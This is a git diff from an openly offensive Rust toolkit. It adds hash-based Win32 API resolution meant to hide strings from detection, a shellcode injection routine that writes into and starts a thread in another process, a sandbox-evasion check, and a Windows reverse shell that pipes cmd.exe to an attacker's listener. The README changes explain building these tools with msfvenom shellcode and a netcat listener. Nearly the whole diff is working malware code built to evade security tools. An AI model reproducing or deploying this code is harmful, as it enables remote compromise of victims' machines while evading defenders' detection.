windows::Win32::System::Diagnostics::ToolHelp::{PROCESSENTRY32, TH32CS_SNAPPROCESS}; +use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}; +use windows::Win32::System::Threading::PROCESS_ALL_ACCESS; +#[cfg(not(feature = "antistring"))] use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory; -use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot, PROCESSENTRY32, Process32Next, TH32CS_SNAPPROCESS}; -use windows::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAllocEx}; -use windows::Win32::System::Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS}; +#[cfg(not(feature = "antistring"))] +use windows::Win32::System::Diagnostics::ToolHelp::{CreateToolhelp32Snapshot, Process32Next}; +#[cfg(not(feature = "antistring"))] +use windows::Win32::System::Memory::VirtualAllocEx; +#[cfg(not(feature = "antistring"))] +use windows::Win32::System::Threading::{CreateRemoteThread, OpenProcess}; +#[cfg(feature = "antistring")] +use core::ffi::c_void; +#[cfg(feature = "antistring")] +use windows::Win32::Foundation::{BOOL, HANDLE}; +#[cfg(feature = "antistring")] +use windows::Win32::System::Diagnostics::ToolHelp::CREATE_TOOLHELP_SNAPSHOT_FLAGS; +#[cfg(feature = "antistring")] +use windows::Win32::System::Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE}; +#[cfg(feature = "antistring")] +use windows::Win32::System::Threading::PROCESS_ACCESS_RIGHTS; +#[cfg(not(feature = "antistring"))] pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // Call CreateToolhelp32Snapshot to get a snapshot of all the processes currently running // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot @@ -72,3 +90,68 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { panic!("CreateRemoteThread failed"); } } + +#[cfg(feature = "antistring")] +pub fn antistring_inject_and_migrate(shellcode: &[u8], target_process: &str) { + // See line 28 + let function = rco_utils::find_function_address("Kernel32", 0x139872fd098af4a7).unwrap(); + let snapshot = unsafe { + mem::transmute::<*const (), fn(CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32) -> HANDLE> + (function)(TH32CS_SNAPPROCESS, 0_u32) + }; + + // See line 38 + let function = rco_utils::find_function_address("Kernel32", 0x4cf400a249844bee).unwrap(); + let mut pid: u32 = 0; + let mut process_entry: PROCESSENTRY32 = unsafe { mem::zeroed() }; + process_entry.dwSize = mem::size_of::() as u32; + while unsafe { + mem::transmute::<*const (), fn(HANDLE, &mut PROCESSENTRY32) -> BOOL> + (function)(snapshot, &mut process_entry).as_bool() + } { + let mut process_name = String::from(""); + for element in process_entry.szExeFile { + let element_as_u8 = unsafe { mem::transmute::(element) }; + if element_as_u8 == 0 { + break + } + process_name.push(element_as_u8 as char); + } + if process_name.contains(target_process) { + pid = process_entry.th32ProcessID; + break; + } + } + if pid == 0 { + panic!("Could not find a {target_process} process"); + } + + // See line 62 + let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap(); + let explorer_handle = unsafe { + mem::transmute::<*const (), fn(PROCESS_ACCESS_RIGHTS, bool, u32) -> HANDLE> + (function)(PROCESS_ALL_ACCESS, false, pid) + }; + + // See line 72 + let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap(); + let base_address = unsafe { + mem::transmute::<*const (), fn(HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS) -> *const c_void> + (function)(explorer_handle, ptr::null(), shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) + }; + + // See line 77 + let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap(); + unsafe { + mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)> + (function)(explorer_handle, base_address, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut()) + }; + + // See line 85 + let function = rco_utils::find_function_address("Kernel32", 0x2a0b247f3bdeef70).unwrap(); + let start_address_option = unsafe { Some(mem::transmute(base_address)) }; + unsafe { + mem::transmute::<*const (), fn(HANDLE, *const u32, u32, Option u32>, *const u32, u32, *mut u32)> + (function)(explorer_handle, ptr::null(), 0, start_address_option, ptr::null(), 0, ptr::null_mut()) + }; +} diff --git a/rco_utils/Cargo.toml b/rco_utils/Cargo.toml index bc32b30..e609c61 100644 --- a/rco_utils/Cargo.toml +++ b/rco_utils/Cargo.toml @@ -10,6 +10,7 @@ rust-version = "1.59" [features] xor = [] antisand = ["windows", "rand"] +antistring = ["windows"] [target.'cfg(windows)'.dependencies] rand.optional = true @@ -19,4 +20,7 @@ windows.version = ">=0.35.0" windows.features = [ "Win32_Foundation", "Win32_Networking", - "Win32_Networking_WinInet" ] \ No newline at end of file + "Win32_Networking_WinInet", + "Win32_System_Diagnostics_Debug", + "Win32_System_LibraryLoader", + "Win32_System_SystemServices" ] \ No newline at end of file diff --git a/rco_utils/src/lib.rs b/rco_utils/src/lib.rs index c4c7f2e..cae034f 100644 --- a/rco_utils/src/lib.rs +++ b/rco_utils/src/lib.rs @@ -1,4 +1,36 @@ use std::error::Error; +#[cfg(feature = "antistring")] +use std::collections::hash_map::DefaultHasher; +#[cfg(feature = "antistring")] +use std::hash::{Hash, Hasher}; +#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] +extern crate windows; +#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] +use std::ffi::CString; +#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] +use std::mem; +#[cfg(all(windows, any(feature = "antisand", feature = "antistring")))] +use windows::core::PCSTR; +#[cfg(all(windows, feature = "antisand", feature = "antistring"))] +use core::ffi::c_void; +#[cfg(all(windows, feature = "antisand"))] +extern crate rand; +#[cfg(all(windows, feature = "antisand"))] +use rand::distributions::Alphanumeric; +#[cfg(all(windows, feature = "antisand"))] +use rand::Rng; +#[cfg(all(windows, feature = "antisand", not(feature = "antistring")))] +use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA}; +#[cfg(all(windows, feature = "antistring"))] +use std::ptr; +#[cfg(all(windows, feature = "antistring"))] +use std::ffi::CStr; +#[cfg(all(windows, feature = "antistring"))] +use windows::Win32::System::Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64}; +#[cfg(all(windows, feature = "antistring"))] +use windows::Win32::System::LibraryLoader::LoadLibraryA; +#[cfg(all(windows, feature = "antistring"))] +use windows::Win32::System::SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY}; /* Helper function for XOR - makes two slices the same length by repeating the shorter till it's the length of the longer @@ -53,24 +85,7 @@ pub fn xor_encrypt_decrypt(_key: &[u8], text: &[u8]) -> Result, Box bool { // Call InternetOpenA to get a handle that can be used in an actual internet request // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena @@ -105,6 +120,48 @@ pub fn pound_sand() -> bool { false } +/* + Antisand Windows implementation without string artifacts - basically looks to see if something fakes a response to a website +*/ + +#[cfg(all(windows, feature = "antisand", feature = "antistring"))] +pub fn pound_sand() -> bool { + // See line 90 + let function = find_function_address("Wininet", 0x4b98c7b42f5ce34f).unwrap(); + let mut lpsz_agent: PCSTR = unsafe { mem::zeroed() }; + lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8; + let lpsz_proxy: PCSTR = unsafe { mem::zeroed() }; + let lpsz_proxy_bypass: PCSTR = unsafe { mem::zeroed() }; + let internet_handle = unsafe { + mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void> + (function)(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) + }; + + let length = rand::thread_rng().gen_range(20..40); + let alphanum: String = rand::thread_rng() + .sample_iter(&Alphanumeric) + .take(length) + .map(char::from) + .collect(); + let mut full_link: String = "https://www.".to_owned(); + let link_end: String = ".com".to_owned(); + full_link.push_str(&alphanum); + full_link.push_str(&link_end); + + // See line 111 + let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap(); + let mut lpsz_url: PCSTR = unsafe { mem::zeroed() }; + lpsz_url.0 = CString::new(full_link).unwrap().into_raw() as *mut u8; + let website = unsafe { + mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void> + (function)(internet_handle, lpsz_url, &[], 0, 0) + }; + if website != 0 as _ { + return true + } + false +} + /* Antisand Linux implementation - since I currently don't need to do this to remain undetected it's a dummy (does nothing) */ @@ -122,3 +179,89 @@ pub fn pound_sand() -> bool { pub fn pound_sand() -> bool { false } + +/* + Calculate the has of a hashable value +*/ + +#[cfg(feature = "antistring")] +pub fn calculate_hash(t: &T) -> u64 { + let mut s = DefaultHasher::new(); + t.hash(&mut s); + s.finish() +} + +/* + Find Win32 function implementation - finds the memory location of a Win32 function in its DLL so it can be called directly +*/ + +#[cfg(all(windows, feature = "antistring"))] +pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box> { + // Call LoadLibraryA on a DLL to get its base address + let mut lib_filename: PCSTR = unsafe { mem::zeroed() }; + lib_filename.0 = CString::new(dll).unwrap().into_raw() as *mut u8; + let library_base = unsafe { LoadLibraryA(lib_filename) }; + let library_base_usize = library_base.0 as usize; + + // Get a pointer to the DOS header + let dos_header: *const IMAGE_DOS_HEADER = library_base.0 as *const IMAGE_DOS_HEADER; + + // Calculate the address of the image headers + let image_headers: *const IMAGE_NT_HEADERS64 = unsafe { (library_base_usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64 }; + + // Get the relative virtual address of the export directory + let export_directory_rva = unsafe { (*image_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT.0 as usize].VirtualAddress }; + // Use the RVA to get the real address of the export directory + let image_export_directory: *const IMAGE_EXPORT_DIRECTORY = (library_base_usize + export_directory_rva as usize) as *const IMAGE_EXPORT_DIRECTORY; + + // Calculate the base addresses of the arrays holding function information + let names_address = unsafe { library_base_usize + (*image_export_directory).AddressOfNames as usize }; + let ordinals_address = unsafe { library_base_usize + (*image_export_directory).AddressOfNameOrdinals as usize }; + let functions_address = unsafe { library_base_usize + (*image_export_directory).AddressOfFunctions as usize }; + + // Loop over every function looking for the desired name + let num_functions = unsafe { (*image_export_directory).NumberOfFunctions }; + for index in 0..num_functions { + // Help traverse the names array; each 4-byte value is a pointer to a name + let into_names = mem::size_of::() * (index as usize); + + // Find the location of the next function name's RVA + let function_name_rva_address: *const usize = (names_address + into_names) as *const usize; + + // Read the RVA from its location + let function_name_rva: u32 = unsafe { ptr::read(function_name_rva_address) as u32 }; + + // Calculate the function name's real address + let function_name_address: *const i8 = (library_base_usize + function_name_rva as usize) as *const i8; + + // Read the function name from its address + let function_name = unsafe { CStr::from_ptr(function_name_address).to_string_lossy() }; + + // Hash the name + let function_hash = calculate_hash(&function_name); + + // Compare the hashed name to the name you are looking for + if function_hash == name_hash { + // Find the location of the function ordinal's RVA; it's the same index as the name array but each offset is only 2 bytes + let ordinals_offset_address: *const usize = (ordinals_address + (into_names / 2_usize)) as *const usize; + + // Read the RVA from its location + let ordinal_offset: u16 = unsafe { ptr::read(ordinals_offset_address) as u16}; + + // Find the location of the function address in the address array by using the ordinal offset + let into_functions = mem::size_of::() * (ordinal_offset as usize); + + // Calculate the function address's location + let function_address_rva_address: *const usize = (functions_address + into_functions) as *const usize; + + // Read the function address's location from memory + let function_address_rva: u32 = unsafe { ptr::read(function_address_rva_address) as u32}; + + // Calculate the function's real address + let function_address: *const () = (library_base_usize + function_address_rva as usize) as *const (); + + return Ok(function_address) + } + } + Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into()) +} \ No newline at end of file diff --git a/tcp_reverse_shell/Cargo.toml b/tcp_reverse_shell/Cargo.toml index ec225f3..797d5b3 100644 --- a/tcp_reverse_shell/Cargo.toml +++ b/tcp_reverse_shell/Cargo.toml @@ -1,14 +1,19 @@ [package] name = "tcp_reverse_shell" -version = "1.1.5" +version = "1.2.0" edition = "2021" authors = ["Kevin Conley "] rust-version = "1.59" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[features] +antisand = ["rco_utils/antisand"] +antistring = ["rco_utils/antistring"] + [dependencies] rco_config = {path = "../rco_config"} +rco_utils = {path = "../rco_utils"} [target.'cfg(windows)'.dependencies] windows.version = ">=0.35.0" @@ -16,4 +21,5 @@ windows.features = [ "Win32_Foundation", "Win32_Security", "Win32_Networking_WinSock", + "Win32_System_SystemInformation", "Win32_System_Threading" ] diff --git a/tcp_reverse_shell/README.md b/tcp_reverse_shell/README.md index 3b37896..90e0217 100644 --- a/tcp_reverse_shell/README.md +++ b/tcp_reverse_shell/README.md @@ -20,12 +20,12 @@ and change the IP address and port to match the IP address of your attacking mac #### For Linux targets ```commandline - cargo build -p tcp_reverse_shell --release + cargo build -p tcp_reverse_shell [antisand][,][antistring]] --release ``` #### For Windows targets ```commandline - cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell --release + cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell [--features [antisand][,][antistring]] --release ``` 3. Start a netcat listener on the attacking machine on the same port you configured in step 1 ```commandline diff --git a/tcp_reverse_shell/src/main.rs b/tcp_reverse_shell/src/main.rs index fff0e87..22c8a0c 100644 --- a/tcp_reverse_shell/src/main.rs +++ b/tcp_reverse_shell/src/main.rs @@ -7,9 +7,16 @@ use rco_reverse_shell_linux::shell; // Load Windows implementation if the target OS is Windows #[cfg(windows)] mod rco_reverse_shell_windows; -#[cfg(windows)] +#[cfg(all(windows, not(feature = "antistring")))] use rco_reverse_shell_windows::shell; +#[cfg(all(windows, feature = "antistring"))] +use rco_reverse_shell_windows::antistring_shell as shell; fn main() { + // Runs the sandbox detection function or the dummy replacement, dependent on features + if rco_utils::pound_sand() { + return + } + shell(rco_config::LISTENER_IP, rco_config::LISTENER_PORT); } diff --git a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs index 8357ae0..53e8379 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs @@ -1,30 +1,28 @@ extern crate windows; use std::{mem, ptr}; -use std::ffi::{CString, c_void}; +use std::ffi::{CStr, CString, c_void}; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::HANDLE; -use windows::Win32::Networking::WinSock::{connect, htons, inet_pton, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData, WSASocketA, WSAStartup}; +use windows::Win32::Networking::WinSock::{AF_INET, IPPROTO_TCP, SOCK_STREAM, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData}; use windows::Win32::Security::SECURITY_ATTRIBUTES; -use windows::Win32::System::Threading::{CreateProcessA, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA}; +use windows::Win32::System::Threading::{PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA}; +#[cfg(not(feature = "antistring"))] +use windows::Win32::Networking::WinSock::{connect, htons, inet_pton, WSASocketA, WSAStartup}; +#[cfg(not(feature = "antistring"))] +use windows::Win32::System::SystemInformation::GetSystemDirectoryA; +#[cfg(not(feature = "antistring"))] +use windows::Win32::System::Threading::CreateProcessA; +#[cfg(feature = "antistring")] +use windows::Win32::Foundation::BOOL; +#[cfg(feature = "antistring")] +use windows::Win32::Networking::WinSock::WSAPROTOCOL_INFOA; // https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms632663(v=vs.85) // Normally this is called by MAKEWORD(2,2), which is 514 const WSASTARTUPVAL: u16 = 514; -// https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa -// 2 = AF_INET -const AF_INET_I32: i32 = 2; -// 1 = SOCK_STREAM -const WSATYPE: i32 = 1; -// 6 = TCP -const WSAPROTO: i32 = 6; -// 0 = No group operation -const WSAGROUP: u32 = 0; -// http://www.novell.com/documentation/developer/samplecode/ndpscomp_sample/gateway_inc/WINSOCK2.H.html -// 2 = AF_INET -const AF_INET_U16: u16 = 2; +#[cfg(not(feature = "antistring"))] pub fn shell(ip: &str, port: u16) { - // Call WSAStartup so that you can do anything with sockets // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSAStartup.html @@ -37,20 +35,20 @@ pub fn shell(ip: &str, port: u16) { // Call WSASocket to create a socket // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSASocketA.html - let socket = unsafe { WSASocketA(AF_INET_I32, WSATYPE, WSAPROTO, ptr::null(), WSAGROUP, 0) }; + let socket = unsafe { WSASocketA(AF_INET.0 as i32, SOCK_STREAM as i32, IPPROTO_TCP.0, ptr::null(), 0, 0) }; // Call inet_pton to populate the sockaddr_in.sin_addr field, which is needed as part of the socket connection // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.inet_pton.html let mut sockaddr_in: SOCKADDR_IN = unsafe { mem::zeroed() }; - sockaddr_in.sin_family = AF_INET_U16; + sockaddr_in.sin_family = AF_INET.0 as u16; // This is magic that I don't really understand but seems to work let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void; // Create a PSTR and use the IP string as the 0 field let mut ip_pstr: PCSTR = unsafe { mem::zeroed() }; ip_pstr.0 = CString::new(ip).unwrap().into_raw() as *mut u8; // Calling pton with the pointer sin_addr_ptr --> sockaddr_in.sin_addr should mean sockaddr_in.sin_addr has the IP struct now - let conversion_result = unsafe { inet_pton(AF_INET_I32, ip_pstr, sin_addr_ptr) }; + let conversion_result = unsafe { inet_pton(AF_INET.0 as i32, ip_pstr, sin_addr_ptr) }; if conversion_result != 1 { panic!("Unable to convert IP address to usable form with inet_pton") } @@ -68,6 +66,14 @@ pub fn shell(ip: &str, port: u16) { panic!("Unable to call connect to the remote socket") } + // Call GetSystemDirectoryA to figure out where cmd.exe will be + // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya + // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/SystemInformation/fn.GetSystemDirectoryA.html + let lp_buffer: &mut [u8] = &mut [0; 50]; + unsafe { GetSystemDirectoryA(lp_buffer) }; + let system_dir = unsafe { CStr::from_ptr(lp_buffer.as_ptr() as *const i8) }; + let system_dir = system_dir.to_str().unwrap(); + // Call CreateProcessA to spawn a shell with stdin/stdout/stderr as the socket // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html @@ -81,7 +87,7 @@ pub fn shell(ip: &str, port: u16) { startup_info.hStdError = unsafe { *sock_handle }; let lp_application_name: PCSTR = unsafe { mem::zeroed() }; let mut lp_command_line: PSTR = unsafe { mem::zeroed() }; - lp_command_line.0 = CString::new("C:\\Windows\\System32\\cmd.exe").unwrap().into_raw() as *mut u8; + lp_command_line.0 = CString::new(format!("{system_dir}\\cmd.exe")).unwrap().into_raw() as *mut u8; let lp_process_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() }; let lp_thread_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() }; let dw_creation_flags: PROCESS_CREATION_FLAGS = unsafe { mem::zeroed() }; @@ -103,3 +109,88 @@ pub fn shell(ip: &str, port: u16) { panic!("Could not start cmd.exe process"); } } + +#[cfg(feature = "antistring")] +pub fn antistring_shell(ip: &str, port: u16) { + // See line 16 + let function = rco_utils::find_function_address("Ws2_32", 0xedf45b56dba24418).unwrap(); + let wsa_data: WSAData = unsafe { mem::zeroed() }; + unsafe { + mem::transmute::<*const (), fn(u16, WSAData)> + (function)(WSASTARTUPVAL, wsa_data) + }; + + // See line 25 + let function = rco_utils::find_function_address("Ws2_32", 0xad51563d572a6798).unwrap(); + let socket = unsafe { + mem::transmute::<*const (), fn(i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32) -> SOCKET> + (function)(AF_INET.0 as i32, SOCK_STREAM as i32, IPPROTO_TCP.0, ptr::null(), 0, 0) + }; + + // See line 30 + let function = rco_utils::find_function_address("Ws2_32", 0xf6d69fad519d46a0).unwrap(); + let mut sockaddr_in: SOCKADDR_IN = unsafe { mem::zeroed() }; + sockaddr_in.sin_family = AF_INET.0 as u16; + let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void; + let mut ip_pstr: PCSTR = unsafe { mem::zeroed() }; + ip_pstr.0 = CString::new(ip).unwrap().into_raw() as *mut u8; + unsafe { + mem::transmute::<*const (), fn(i32, PCSTR, *mut c_void) -> i32> + (function)(AF_INET.0 as i32, ip_pstr, sin_addr_ptr) + }; + + // See line 46 + let function = rco_utils::find_function_address("Ws2_32", 0x57420f0d05112fd1).unwrap(); + sockaddr_in.sin_port = unsafe { + mem::transmute::<*const (), fn(u16) -> u16> + (function)(port) + }; + + // See line 51 + let function = rco_utils::find_function_address("Ws2_32", 0xcbfa974b4e43f414).unwrap(); + unsafe { + mem::transmute::<*const (), fn(SOCKET, *const SOCKADDR, i32) -> i32> + (function)(socket, &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, mem::size_of::().try_into().unwrap()) + }; + + // See line 59 + let function = rco_utils::find_function_address("Kernel32", 0x9822936f60f9a914).unwrap(); + let lp_buffer: &mut [u8] = &mut [0; 50]; + unsafe { + mem::transmute::<*const (), fn(&mut [u8])> + (function)(lp_buffer) + }; + let system_dir = unsafe { CStr::from_ptr(lp_buffer.as_ptr() as *const i8) }; + let system_dir = system_dir.to_str().unwrap(); + + // See line 67 + let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap(); + let mut startup_info: STARTUPINFOA = unsafe { mem::zeroed() }; + startup_info.cb = mem::size_of::() as u32; + startup_info.dwFlags = STARTF_USESTDHANDLES; + let sock_handle = &socket as *const SOCKET as *const HANDLE; + startup_info.hStdInput = unsafe { *sock_handle }; + startup_info.hStdOutput = unsafe { *sock_handle }; + startup_info.hStdError = unsafe { *sock_handle }; + let lp_application_name: PCSTR = unsafe { mem::zeroed() }; + let mut lp_command_line: PSTR = unsafe { mem::zeroed() }; + lp_command_line.0 = CString::new(format!("{system_dir}\\cmd.exe")).unwrap().into_raw() as *mut u8; + let lp_process_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() }; + let lp_thread_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() }; + let dw_creation_flags: PROCESS_CREATION_FLAGS = unsafe { mem::zeroed() }; + let lp_current_directory: PCSTR = unsafe { mem::zeroed() }; + let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() }; + unsafe { + mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL> + (function)(lp_application_name, + lp_command_line, + &lp_process_attributes, + &lp_thread_attributes, + true, + dw_creation_flags, + ptr::null(), + lp_current_directory, + &startup_info, + &mut process_information) + }; +} diff --git a/xor_params/README.md b/xor_params/README.md index 79aca47..c17ccc8 100644 --- a/xor_params/README.md +++ b/xor_params/README.md @@ -7,15 +7,15 @@ ## How it works -XOR shellcode performs an [exclusive OR (XOR)](https://en.wikipedia.org/wiki/Exclusive_or) operation on each byte of the shellcode with each byte of the key (repeating the key if need be). +XOR params performs an [exclusive OR (XOR)](https://en.wikipedia.org/wiki/Exclusive_or) operation on each byte of the shellcode with each byte of the key (repeating the key if need be). ## Using it -1. Generate shellcode for the desired end result (for example, use [msfvenom](https://book.hacktricks.xyz/shells/shells/msfvenom) to generate a reverse TCP shell shellcode for the target operating system) -2. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the shellcode to the shellcode generated in step 1 +1. [Not shown in GIF] Generate shellcode for the desired end result (for example, use [msfvenom](https://book.hacktricks.xyz/shells/shells/msfvenom) to generate a reverse TCP shell shellcode for the target operating system) +2. [Not shown in GIF] Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the shellcode to the shellcode generated in step 1 3. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the key to a desired key -4. Compile the executable +4. [Not shown in GIF] Compile the executable #### For Linux ```commandline